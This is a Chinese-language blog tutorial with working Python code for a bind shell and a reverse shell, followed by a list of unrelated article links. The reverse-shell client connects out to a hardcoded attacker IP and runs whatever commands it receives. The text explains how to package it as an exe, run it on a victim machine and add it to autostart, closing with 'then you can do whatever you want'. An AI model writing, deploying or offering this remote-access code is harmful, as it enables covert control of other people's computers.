python shell与反弹shell

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

反弹shell,攻击端是服务端,被攻击端是客户端
正常shell,攻击端是客户端,被攻击端是服务端

反弹shell,先启用服务端,再启用客户端

反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)

shell:

客户端: 

import socket
s=socket.socket()
s.connect(("192.168.0.114",1234)) #连接的服务器的ip地址,端口
for i in range(10):
com=input("command:")
s.send(com.encode()) #发送信息
d=s.recv(1024) #接受数据的大小
print(d.decode(),len(d))

服务端: 

#服务器端
import socket
import os
s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接
s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
con,addr=s.accept() #接受一个客户端的连接
#print(con,addr) for i in range(10):
cmd=con.recv(1024)
print(cmd)
command=cmd.decode()
if command.startswith("cd"):
os.chdir(command[2:].strip()) #切换路径
result=os.getcwd() #显示路径
else:
result=os.popen(command).read()
if result:
con.send(result.encode())
else:
con.send(b"OK!")

测试:(客户端(win10)、服务端(win7))

1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

  

2.在win10运行客户端 

反弹shell:

客户端: 

#反弹shell,攻击端是服务端,被攻击端是客户端
#正常shell,攻击端是客户端,被攻击端是服务端
#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端
# 反弹shell,先在win10启用服务端,再在win7启用客户端
# 反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)
# 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接
import socket
import os
import sys
import time
#print(sys.argv)
#hacker=sys.argv[1]
hacker="192.168.0.144"
port=1234
server=(hacker,port)
s=socket.socket()
s.connect(server) while 1:
# 得到被攻击端的所在目录,并发送
dir=os.getcwd()
#print(dir)
s.send(dir.encode())
# 接收来自攻击端(服务器端)的命令,并进行处理
cmd=s.recv(1024).decode()
# 对接收的命令做出判断
# 退出
if cmd=="exit":
break
elif cmd.startswith("cd"):
os.chdir(cmd[2:].strip())
result="切换目录成功!"
else:
result=os.popen(cmd).read()
if not result:
result="命令执行完毕!" s.send(result.encode())
time.sleep(1) s.close()
print("退出!")

服务端: 

import socket
import time
server=("0.0.0.0",1234)
s=socket.socket()
s.bind(server)
s.listen(5)
con,addr=s.accept()
print(addr,"已经接入!")
while 1:
#接收来自被攻击端的所在目录
dir=con.recv(1024).decode()
cmd=input(dir+":").strip()
con.send(cmd.encode())
if cmd=="exit":
break
result=con.recv(65365)
print(result.decode())
time.sleep(1)
s.close()
print("退出!")

测试:

1.先在win10运行反弹shell服务端

2.再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行

3.这时可以看到服务端(win10)已经和客户端(win7)连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端  

4.接下就可以为所欲为了  

最新文章

  1. OOCSS的概念和思路
  2. 网页项目——i家居网站
  3. Modbus工业协议在Android中的应用
  4. 作死遇到的坑--view向下偏移
  5. UEditor插入表格没有边框但有间距
  6. 查看TOMCAT的版本
  7. OpenStack学习系列-----第二篇 由一个错误看理解整个架构的重要性
  8. ruby oop学习
  9. 关于Android API的理解
  10. DEDECMS织梦全站动态化访问(包括自由列表freelist)及发布内容时自动动态化设置
  11. 微信小程序-统一下单、微信支付(Java后台)
  12. BIM 开发商 --广州
  13. HTTP协议07-通用首部字段
  14. Range:HTML5中的新型Input类型
  15. Qt编写GIF录屏工具(开源)
  16. urllib模块通过post请求获取数据
  17. C++进阶--静态初始化的惨败
  18. CSS 文本
  19. ajax入门简述
  20. 【转】IT业给世界带来的危机

热门文章

  1. k8s部署kafka集群
  2. go使用websocket遇到dial:x509: certificate signed by unknown authority
  3. Swing——布局管理器
  4. MySQL的使用及优化
  5. Java二维码的制作
  6. 结构型---组合模式(Composite Pattern)
  7. TFS自动记住用户名密码
  8. Struts2_属性驱动
  9. Hibernate入门(一)
  10. BootStrapTable 错误